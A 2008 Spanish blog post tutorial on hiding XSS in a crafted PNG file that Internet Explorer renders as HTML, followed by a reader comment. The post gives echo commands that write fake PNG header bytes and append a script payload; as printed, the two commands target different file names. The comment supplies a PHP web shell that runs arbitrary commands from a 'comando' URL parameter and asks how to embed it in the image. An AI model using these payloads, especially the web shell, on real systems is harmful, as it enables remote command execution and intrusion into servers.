Hack: XSS oculto en imágenes
09.oct 2008
Envía un trackback
Esta mañana hemos estado probando una nueva forma de XSS: a través de código en imágenes maliciosas }:).
El XSS no es más que un tipo de ataque o agujero basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado (wikipedia dixit).
Espero que se entienda mejor con un pequeño taller de 5 minutos, ejemplo incluido.
Creación de la imagen
Vamos a crear una imagen .png válida, para ello debemos introducir en dicho archivo unos datos de cabecera que le indiquen al navegador que se trata de una imagen (extensión aparte).$ echo -en "\x89\x50\x4E\x47\x0D\x0A\x00\x00\x00\x0DVILC\x00\x00\x01\x00\x00\x00\x01" > image.pngNota: Cuando hablo de "navegador" me refiero a Internet Explorer, aunque no sea demasiado adecuado. Este truco solo funciona en IE, los Navegadores de verdad -con mayúscula- están libres de pecado.
Código XSS
Una vez tenemos el archivo con las cabeceras adecuadas de un supuesto png agregamos el código poco ético:
$ echo -n "<html><body><script>alert('Ponga aqui su insulto');</script></body></html>" >> imagenxss.png
Y habremos completado el proceso de creación de una imagen con XSS oculto.
Comprobación
He subido esta imagen como comprobante. Solo funciona en Internet Explorer. Al visualizar la imagen debería salir un alert javascript con mensaje oculto.
Comentarios
Mira io te doy otro codigo q para mi es mas util <?php
echo "<html>";
if(isset($_GET['comando'])){
$comando = $_GET['comando'];
exec($comando,$salida);
foreach($salida as $linea) {
echo "$linea<br>";
}
}
?>
<title>Cosa</title>
<script>alert()</script>
</html>
mi problema es el sgte el codigo php no es valido dentro de la imagen
Escribe tu comentario
Intenta que tu comentario sea interesante y con información relevante al tema de la entrada. BBCodes disponibles:
[url=http://direccion]texto[/url], negrita: [b]texto[/b],
itálica: [i]texto[/i], subrayada: [u]texto[/u].
Para mencionar o citar a alguien (quote): [cita]texto[/cita]


